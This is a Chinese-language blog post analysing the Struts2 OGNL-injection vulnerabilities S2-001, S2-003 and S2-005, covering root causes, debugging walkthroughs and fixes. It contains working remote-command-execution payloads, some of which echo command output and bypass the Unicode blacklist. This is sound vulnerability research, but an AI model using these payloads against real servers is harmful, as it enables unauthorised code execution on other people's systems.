Struts2全系漏洞分析(一)
最后更新时间:
文章总字数:
预计阅读时间:
Struts2全系漏洞分析(一)
总参考链接:https://su18.org/post/struts2-1/
Struts2 配置及使用
Struts2 是一个基于MVC 设计模式的Web应用框架,它的本质就相当于一个 servlet,在 MVC 设计模式中,Struts2 作为控制器(Controller)来建立模型与视图的数据交互。
Struts2 是在 Struts 和WebWork 的技术的基础上进行合并的全新的框架。Struts2 以 WebWork 为核心,采用拦截器的机制来处理的请求。这样的设计使得业务逻辑控制器能够与 ServletAPI 完全脱离开。
在分析Struts2对一次请求的执行流程之前,为方便分析,我们需要配好Struts2-001的漏洞环境,本人亲测有效的配置教程如下,这里不再赘述:
https://lanvnal.com/2020/12/15/struts2-lou-dong-fen-xi-huan-jing-da-jian/#
执行流程如下:
首先是经过核心的FIlter,通常会配置所有的页面都交给Struts2处理,逻辑在web.xml中:
然后是通过默认的过滤器,也就是struts-default.xml文件里面配置的:
接着是根据访问路径映射到处理这个请求的Action类,在我们自写的struts.xml里配置:
可以看到这里如果访问路径是login.action,就会跳转到这个LoginAction类进行处理。
具体处理是创建一个该Action类的实例,先调用getter和setter填充数据然后再调用这个Action类的execute方法。
最后处理完之后可能会访问到另一个Action,也有可能会以jsp渲染形式返回处理结果,结果通过HTTPServletResponse响应。可以看到这里就是通过Action处理返回的result来决定要呈现哪个jsp,如果返回了success则呈现welcome.jsp,如果返回error就呈现index.jsp。
实现一个Action控制类
具体而言有三种方式:
- Action 写为一个不继承或实现任何类与端口的普通java类,并且包含 excute() 方法。
- Action 类实现 Action 接口。
- Action 类继承 ActionSupport 类。
总之就是需要包含excute()方法,这个方法应该返回一个字符串,代表执行的结果(Struts2会自动寻找并执行),而且需要添加字段和getter/setter方法,因为Struts2会自动调用这些方法,将用户的输入(从表单或者URL参数)填充到Action类中。下面是S2-001的LoginAction示例:
1 | package com.pazuris.s2001.action; |
OGNL表达式
OGNL简介
Struts2框架使用OGNL表达式作为默认的表达式语言。
OGNL是 Object Graphic Navigation Language (对象图导航语言)的缩写,是一个开源项目。它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法。
OGNL的使用
表达式的使用非常简单,存对象只需要以下三行:
1 | OgnlContext context = new OgnlContext(); |
而取对象的值只需要两行:
1 | Object expression = Ognl.parseExpression("表达式"); |
其中需要注意的是,OGNL 表达式的取值范围只能在其 context 和 root 中。
OGNL Context
OGNL 上下文对象位于 ognl.OgnlContext,上下文实际上是就一个 Map 对象,可以由我们自己通过OgnlContext()创建,通过 put() 方法在上下文环境中放元素(放普通元素,root用setRoot放)。根对象只能有一个,而普通对象则可以有多个。即:OgnlContext = 根对象(1个)+非根对象(n个)。
非根对象要通过 #key
访问,根对象可以省略 #key
。获取根对象的属性值,可以直接使用属性名作为表达式,也可以使用 #Class.field
的方式;而获取普通对象的属性值,则必须使用后面的方式。
OGNL 主要有以下几种常见的使用:
- 对于类属性的引用:
Class.field
- 方法调用:
Class.method()
- 静态方法/变量调用
@Class@method()
- 创建 java 实例对象:完整类路径:
new java.util.ArrayList()
- 创建一个初始化 List:
{'a', 'b', 'c', 'd'}
- 创建一个 Map:
#@java.util.TreeMap@{'a':'aa', 'b':'bb', 'c':'cc', 'd':'dd'}
- 访问数组/集合中的元素:
#Arrays[0]
- 访问 Map 中的元素:
#Map['key']
- OGNL 针对集合提供了一些伪属性(如size,isEmpty),让我们可以通过属性的方式来调用方法。
OGNL还支持投影和过滤等,比较简单,不再赘述。另外也可以使用数学运算符,而且使用逗号或者点来连接表达式。
OGNL in Struts2
为了分析Struts2是怎么使用OGNL的,需要找到Struts2执行流程中OGNL的上下文,Root以及表达式。
在Struts2中,OGNL表达式的Context就是这个ActionContext,是一个map,所有的数据都存在这里。里面有根对象ValueStack,有其他对象,如请求响应引用对象和attribute之类的。
这个ValueStack对象会贯穿整个Action类实例的生命周期(一个实例会有一个ValueStack对象,可以通过OGNL表达式查找ValueStack中相对应的变量值)。简单来说就是Struts2接收到请求Action的时候先生成一个Action类实例,然后将Action类实例的相应属性全部放到ValueStack中,并调用拦截器根据用户传入的参数来更新相应的属性。最后将ValueStack里的值传给Action实例,并调用exec方法。
Struts2漏洞分析
S2-001
循环解析%{}中的内容导致的漏洞
影响版本:2.0.0-2.0.8
初始化以及参数调度简单流程
作为系列的第一个漏洞,我们先通过调试分析一下Struts2的具体执行流程:
由于web.xml中的配置,所有的URL路径由org.apache.struts2.dispatcher.FilterDispatcher过滤,跟到这个类,其调用了doFilter来过滤:
这里可以看到这个ActionMapping不为空(有请求的Action),后面会进入this.dispatcher.serviceAction方法(整个流程中最重要的方法):
serviceAction中有几个关键的方法:
将request/response/ServletContext中的相关信息填入extraContext。
然后创建了ActionProxy对象,在这过程中也会创建 DefaultActionInvocation 的实例,并通过其 createContextMap()方法创建一个 OgnlValueStack 实例,并将 extraContext 全部放入 OgnlValueStack 的 context 中。
之后步过到执行proxy的execute(简单来说,用来将ValueStack中的值写到action中),然后就可以执行Action的exec方法了。
S2-001漏洞具体成因
前置知识
如果想在jsp中使用Struts的标签,需要在头部声明<%@ taglib prefix="s" uri="/struts-tags" %>
,这行代码的含义是将 Struts 标签库的 URI 设置为 /struts-tags
,并将其前缀设置为 s
。在这之后,就可以使用 s
前缀来调用 Struts 标签了。
这里的form标签用于创建表单,并提交到了loginAction。
Struts2通过其内置的标签处理器来处理这些标签,每一个类型的标签都对应了一个标签处理器,标签处理器负责渲染标签的HTML输出,并处理标签的其他逻辑。
具体来说,这里的s:textfield
对应的标签处理器是org.apache.struts2.views.jsp.ui.TextFieldTag
,处理时会先创建该类实例,然后设置属性,接着执行两个关键方法:
- doStartTag 方法:获取组件信息和属性赋值,初始化的工作
- doEndTag 方法:在标签解析结束后需要做的事,可能是调用end()方法
最后渲染HTML输出,今天这个漏洞的触发点就是doEndTag方法。
漏洞流程分析
这个漏洞从处理password字段的doEndTag方法开始,doEndTag调用了End方法:
跟进evaluateParams方法,这个方法主要干了两件事:
第一件事是在password外面加上了%{}(this.altSyntax()开启的情况下),然后将其传入findValue方法,这个findValue顾名思义就是寻找变量的值,再加上OGNL表达式的特性,可以推测里面就是把%{password}的%{}去掉,然后使用OGNL表达式在context中寻找password。
另外补充一点,altSyntax
是 Struts2 的一个全局设置项,它影响了 Struts2 标签如何解析其属性值。如果 altSyntax
设置为 true
(默认值),那么 Struts2 标签的属性值将被解析为 OGNL 表达式。且在这个版本的Struts2中,OGNL表达式的解析是基于 opensymphony.xwork 2.0.3
的,其实是xwork的解析写的有逻辑漏洞(没控制)导致S2-001漏洞的产生。
继续跟进findValue方法:
跟进translateVariables(属于xwork组件中的方法):
代码太多,不一一展示,重点在于这个while(true)判断导致了漏洞的产生,简单来说这个translateVariable就是先去掉%{}再调用其他方法进行OGNL表达式解析,由于while(true),在解析完%{password}(找到password的值)之后,仍然会对password的值尝试去掉%{}并进行解析。
如果我们的password传入的是%{OGNL表达式},就完成了OGNL注入。
**payload:%{OGNL表达式}**,输入在username还是password效果一致。
另外,使用OGNL表达式注入最终命令执行也是一门技术,随着Struts2版本的更迭我们也可以慢慢研究,这里既然是最早期版本,就用一个最简单的(新建一个ProcessBuilder,然后start执行命令):
%{(#p=new java.lang.ProcessBuilder('calc')).(#p.start())}
无回显版本
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
有回显版本
核心思想就是#定义变量然后套娃,最后通过获得HttpServletResponse来实现向页面输出。
另参考OGNL注入不同姿势文章:https://paper.seebug.org/1575/#_1
S2-001漏洞修复
写死了最大循环次数为1,一次之后自动退出,无法再继续解析。
S2-003
参考链接:
https://blog.csdn.net/mole_exp/article/details/122550317
https://zhuanlan.zhihu.com/p/616428452
在解析参数的时候,Struts2将所有的参数名都使用了OGNL解析,虽然有过滤但是过滤不完全导致被绕过。
影响版本:2.0.0-2.1.8
从这个影响版本来看就知道其实环境搭不搭都无所谓,完全可以用s2-001的环境(注意其实s2-001的复现并不需要action,根本没有走到action的exec就触发了,但是s2-003必须要有action),但是有一个问题,由于这次的payload需要在url请求里输入特殊字符,高版本tomcat会报错,最好用tomcat6.0。
S2-003漏洞具体成因
之前也分析过,在Struts2执行流程中有很多拦截器,会在请求到达action前进行一系列的处理,这次的漏洞就处在xwork里的ParametersInterceptor拦截器上。
Struts2会调用拦截器的doIntercept方法,看看ParametersInterceptor的doIntercept:
可以看到先是获取了action(LoginAction),随后获取了在前面拦截器中封装完毕的action上下文,接着获取了当前请求的参数。
然后当传入参数不为空时,为ContextMap设置了三个键(154/155/156行),最后获取了ValueStack并调用了setParameters,参数是action,stack和parameters,跟进:
从这几行代码可以看出,其实setParameters函数的作用就是我们之前提到过的,把参数的值设置到stack中,但是这里需要注意的是有一个判断条件,参数名需要通过acceptableName的检测:
也就是说我们传入的name不能包含=,#:
,至于最后一个,是可以自定义的过滤,默认是emptyset,不用管。继续跟进,过了acceptableName之后可以看到是调用了stack的getValue,一通跳转之后(可以利用查找方法跟进)到了OgnlValueStack的setValue方法
可以看到这里是调用了OgnlUtil的setValue方法,然后把参数名传了进去,接下来就是要探寻OgnlUtil的setValue方法是如何解析OGNL表达式并且调用方法的(另外,S2-001是利用OgnlUtil的getValue方法来调用,故不需要OGNL表达式特定形式,正常语法即可)。
compile处理name:
跳转parseExpression:
先解析expression构建OgnlParser对象再调用topLevelExpression,另外在parseExpression()的解析过程中,后面会调用JavaCharStream#readChar(),该方法中,会对unicode编码转化为ASCII码字符。比如\u0023
会转化为#
。这可以让我们绕过刚才的那个检测。
这个topLevelExpression看返回值也知道是用来构建OGNL语法树的,这里需要补充一下,什么叫语法树,具体有什么类型的语法树:
OGNL语法树
在解释OGNL表达式时,它会被解析为一个语法树,也称为抽象语法树(AST)。在这个树中,每个节点都对应一个元素,例如:变量、操作符或者函数。
在OGNL中,语法树的节点主要分为以下几种类型:
- 常量节点:这个节点代表一个常量值,例如数字、字符串或者布尔值。
- 属性节点:这个节点代表一个对象的属性,例如
user.name
中的name
。 - 方法节点:这个节点代表一个方法调用,例如
user.getName()
中的getName()
。 - 运算符节点:这个节点代表一个运算符,例如
+
、-
、*
、/
等。 - 条件节点:这个节点代表一个条件表达式,例如
user.age > 18
中的>
。
解析表达式的过程中,根据表达式的不同将会使用不同的构造树来进行处理,比如如果表达式为 user.name
,就会生成 ASTChain,因为采用了链式结构来访问 user 对象中的 name 属性。而我们这里需要的是通过静态方法的调用来执行命令,所以生成的是ASTEval。
所有的构造树都实现了Node这个接口:
更具体来说,他们都继承于抽象类SimpleNode,并根据自己的需求对getValue,setValue等方法进行了重写。
回到漏洞分析中,我们要生成ASTEval,可以采用(one)(two)这样的方式传入表达式,具体对这样的方式处理流程在getValueBody中:
简单来说,具体执行流程是这样的:
- 计算one,结果赋值给变量expr
- 计算two,结果赋值给变量source
- 判断expr是否Node类型(AST树),否则以其字符串形式进行解析(ognl.Ognl.parseExpression()),结果都强制转换成Node类型并赋值给node
- 临时将source放入当前root中
- 计算node
- 还原root
- 返回结果
更简单来说,如果是调用的OgnlUtil.setValue()方法,则以下表达式可以执行java代码(java code是字符串形式):
- (java code)(xxxx)
- (xxxx)(java code)
- (java code)(xxxx)(xxxx)
- (xxxx)(java code)(xxxx)
具体更底层原理可以参考这篇文章:
浅析OGNL表达式求值(S2003/005/009跟踪调试记录) - 先知社区 (aliyun.com)
另外,如果调用的是OgnlUtil.getValue方法,依然可以利用AST树来执行java代码,但是格式和上文有所不同,究其原因是setValue的调用链多了一步取出值的操作。
- (java code)
- (java code)(xxxx)
- (xxxx)(java code)
- (java code)(xxxx)(xxxx)
- (xxxx)(java code)(xxxx)
在解析完表达式执行方法的时候会调用 MethodAccessor#callMethod/callStaticMethod
方法,在调用之前会在 context 中取 xwork.MethodAccessor.denyMethodExecution
的值转为布尔型进行判断,如果是 true 则不会调用方法,只有为 false 才会进行调用。
也就是说还需要设置一下context的xwork.MethodAccessor.denyMethodExecution
为false
攻击payloaed
上面的分析结束后,这个漏洞的触发流程就很明确了,在参数名处传入恶意的表达式:
- 使用 unicode 编码特殊字符绕过对关键字符黑名单的判断;
- 将 context 中的
xwork.MethodAccessor.denyMethodExecution
值修改为 false,这样在后面才可以调用方法;
payload:/xxx.action? (a)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse) &(b)(%5cu0040java.lang.Runtime%5cu0040getRuntime().exec(calc))
不可回显
/xxx.action? (a)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)(bla) &(b)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))(bla) &(c)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))(bla) &(d)(%5cu0023res%5cu003dnew%5cu0020char[20000])(bla) &(e)(%5cu0023dis.read(%5cu0023res))(bla) &(f)(%5cu0023writer%5cu003d%5cu0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())(bla) &(g)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))(bla) &(h)(%5cu0023writer.flush())(bla) &(i)(%5cu0023writer.close())(bla)
可回显,其实细看和S1-001的差不多,只是形式变了一下,前后加了两个括号,中间用括号括起字符串。
S2-003漏洞修复
2.0.12版本中,使用的xwork版本是2.0.6,看看和之前的2.0.4有什么不同,发现在xwork的OgnlValueStack中多了一个securityMemberAccess,而且在setRoot方法中取代了原先的staticMemberAccess。
然后OgnlValueStack多实现了一个接口MemberAccessValueStack:
通过具体实现这两个方法的代码可以知道是给securityMemberAccess的对象成员变量赋值了,至于有什么用,后面会分析。
这两个方法在ParametersInterceptor中的setParameters被调用,也就是说传入参数必调用
下面分析这俩到底有啥用:
跟踪到最后,如果OGNL表达式中有Java方法调用,就会来到OgnlRuntime的callAppropriateMethod方法:
可以看到要想通过反射调用我们的方法,isMethodAccessible必须返回true,跟进:
可以看到这里就通过context上下文来调用getMemberAccess方法,很自然就和我们之前说的securityMemberAccess关联上了,调用了SecurityMemberAccess的isAcceptable(),但是看看代码也知道这个isAcceptable也不管事,直接返回了另一个方法isAcceptableProperty的调用,刚好这两个方法也挨在一起:
关键点来了,之前说要返回true,而这里返回true的条件就是isAccepted返回true以及isExcluded返回false。这两个方法内部分别调用了acceptProperties和excludeProperties来匹配,而这两个变量就是我们一开始说的多出来的两个方法进行赋值的变量,其对应的值是ParametersInterceptor的两个属性acceptParams和excludeParams。
通过调试可以知道acceptParams为空集合,excludeParams这个集合由于interceptor的配置文件中ParametersInterceptor配置了该属性的初始值所以并不是空集合。
所以这个isExcluded()返回了true而不是false,导致我们的java方法无法顺利执行。
但是这种修复方式其实挺搞笑的,就像是上了一把锁然后把钥匙插上面了,我们只要想办法让excludeProperties为一个空集合即可继续调用方法,于是有了S2-005。
S2-005
S2-005漏洞具体成因
由上面的分析可以知道,为了继续调用方法,我们需要把securityMemberAccess里的excludeProperties置空,由于我们知道:
securityMemberAccess是参与了context的构建,跟进createDefaultContext,发现调用了addDefaultContext:
可以看到这里是把securityMemberAccess设置成了context的MemberAccess,那我们是否可以通过Ognl表达式#context[‘memberAccess’]来访问SecurityMemberAccess对象呢,可惜的是不能。
通过看OgnlContext的源码和对比添加对象的代码也可以看出,其实这里是将这个securityMemberAccess赋值给了自己的成员变量memberAccess,而并没有直接通过put来加入context,故不可以直接这样访问。
然而,OgnlContext自身实现了Map集合的接口,并且提供了重写的put和get方法,并有两个Map类型的成员变量,RESERVED_KEYS
和values
来进行实际的Map
容器存取操作
既然如此,我们就重点看看这个get方法,看看如何才能访问到memberAccess:
可以看到只要这个缓存key里面包含了我们输入的key,就能找到对应的map,看到408行,放回了memberAccess,也就得到了我们需要的securityMemberAccess,往上找这个MEMBER_ACCESS_CONTEXT_KEY
的具体值是什么:
这是一段静态代码,自动将定义好的值输入缓存key,再往上看定义:
从这里我们可以得知通过#context['_memberAccess']
获得securityMemberAccess,问题解决。
payload:/Login.action? (a)(%5cu0023_memberAccess.excludeProperties%5cu003d@java.util.Collections@EMPTY_SET) &(b)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse) &(c)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('calc'))
无回显的payload只是比S2-003多了一步设置为空集合,有回显的payload有了一些改变,具体的问题出在上一次回显payload的第六条ognl表达式:获取HttpServletResponse的writer,这次没法通过get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')
来获得,可以调试看看,根本就没有这个键。
这次可以使用静态方法ServletActionContext#getResponse()去获取HttpServletResponse对象,实际上它获取的就是原来的stack值栈结构中的context上下文对象里的com.opensymphony.xwork2.dispatcher.HttpServletResponse。
1 | /Login.action? |
另附上Struts2.1.8.1payload,第一行语句稍微变化,整体思路一致:
1 | /Login.action? |
S2-005漏洞修复
将原来的黑名单替换为白名单,使用了正则表达式匹配白名单字符的方式去校验请求url的参数,无法再使用\u绕过。真的,要是S2-003就这么做该多好,从根本上解决问题就不会有S2-005了。
总结
分析了三个(Struts2实在是太多了,分多篇文章分析),总结一下,分析Struts组件漏洞的目的在于思考调用链,怎么样才能解析OGNL,而非OGNL怎么绕过(当然这个随着Struts2的升级肯定也会涉及到),总之OGNL的绕过和注入高级姿势以后应该会专题分析,这里的貌似都是最简单的Runtime执行命令。